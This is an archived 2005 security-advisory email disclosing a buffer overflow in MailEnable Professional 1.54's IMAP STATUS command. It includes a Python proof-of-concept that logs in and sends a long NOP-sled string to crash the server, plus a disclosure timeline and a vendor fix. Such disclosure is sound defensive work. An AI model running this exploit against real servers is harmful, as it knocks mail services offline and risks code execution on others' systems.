Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NT] MailEnable STATUS Command Buffer Overflow

Subject: [NT] MailEnable STATUS Command Buffer Overflow
Date: 18 Jul 2005 18:35:49 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  MailEnable STATUS Command Buffer Overflow
------------------------------------------------------------------------


SUMMARY

" <http://www.mailenable.com/> MailEnable is a mail server software which 
provides a messaging platform for Microsoft Windows."

A buffer overflow in the MailEnable's STATUS command support allows 
attackers to execute arbitrary code with elevated privileges.

DETAILS

Vulnerable Systems:
 * MailEnable Professional edition version 1.54

Immune Systems:
 * MailEnable Professional edition version 1.6

MailEnable's support for IMAP status command can be exploited to cause the 
product to overflow an internal buffer, the following exploit code will 
overflow the buffer with a NOP sled.

Proof of Concept:
#
# POC about imapd mailenable bug in status command
#

import sys
import imaplib

class poc:

    def __init__(self,host,loginimap,passimap):
        self.host=host
        self.loginimap=loginimap
        self.passimap=passimap

    def exploit(self):
        print "Please wait"
        
        connect = imaplib.IMAP4(self.host)
        connect.login(self.loginimap,self.passimap)
        nops='\x00'
        nops+='\x90'*10540
        try:
            typ, data = connect.status(nops,'(UIDNEXT UIDVALIDITY MESSAGES 
UNSEEN RECENT)')
        except Exception,e:
            print "Service down!"
        return 0

if(len(sys.argv) < 4):
    print "Need 3 arguments, ./poc.py host user pass"
    sys.exit(1)

exp=poc(sys.argv[1],sys.argv[2],sys.argv[3])
exp.exploit()

#EoF

Disclosure Timeline:
2005-06-30: Notification to vendor.
2005-06-30: Vendor acknowledged notification and provided a fix.
2005-07-12: Public Disclosure.


ADDITIONAL INFORMATION

The information has been provided by  <mailto:advisories@coresecurity.com> 
Core Security Technologies .
The original article can be found at:  
<http://www.coresecurity.com/common/showdoc.php?idx=467&idxseccion=10> 
http://www.coresecurity.com/common/showdoc.php?idx=467&idxseccion=10



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NT] MailEnable STATUS Command Buffer Overflow, SecuriTeam <=